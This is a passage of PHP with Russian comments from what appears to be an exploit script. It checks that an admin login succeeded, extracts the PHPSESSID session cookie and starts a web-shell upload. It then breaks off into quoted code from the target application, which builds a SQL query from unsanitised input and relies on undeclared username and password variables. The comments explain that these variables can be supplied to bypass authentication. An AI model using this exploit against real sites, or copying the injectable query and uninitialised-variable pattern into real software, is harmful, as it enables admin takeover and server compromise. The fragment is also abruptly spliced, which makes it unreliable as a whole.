/*
Присутсвие <meta http-equiv="refresh" content="2;URL=index.php">,
означает что авторизация прошла нормально.
*/
if (!(@preg_match("/http-equiv=\"refresh\"/i", $data)))
die("Exploit failed: Can't logining to admin\r\n");
echo "[ OK ] Admin login success\r\n";
/*
Извлечение сессии
*/
if (!(@preg_match_all("/PHPSESSID=([1234567890abcdfe]+)/i", $data, $result)))
die("Exploit failed: Parse session id error\r\n");
$sid = $result[1][0];
echo "[ OK ] SID=$sid\r\n";
/*
Загрузка шелла
*/
$sname = substr(md5(time()),0,8); //Генерируем имя файла
/* Мы не знаем логина и пароля, запрос вернет 0 строк */
$ws=mysql_query("select * from user where name='$userun' and pass='$userpw'");
while($row=mysql_fetch_row($ws)) {
if($row[0]==1){
$_SESSION['user2'] = $_POST['user_pw'];
}
$iduser = $row[0];
$username =$row[1];
$password = $row[2];
$group = $row[5];
}
/*
Переменные password и username ранее не объявлены, и если
их передать скрипту чтобы условие авторизации выполнилось,
таким способом обойдем авторизацию
*/
if($userpw == $password && $userun == $username){
$_SESSION['admin'] = $userun;
$_SESSION['group'] = $group ;
$_SESSION['iduser'] = $iduser;
require('loged.php');
exit;
}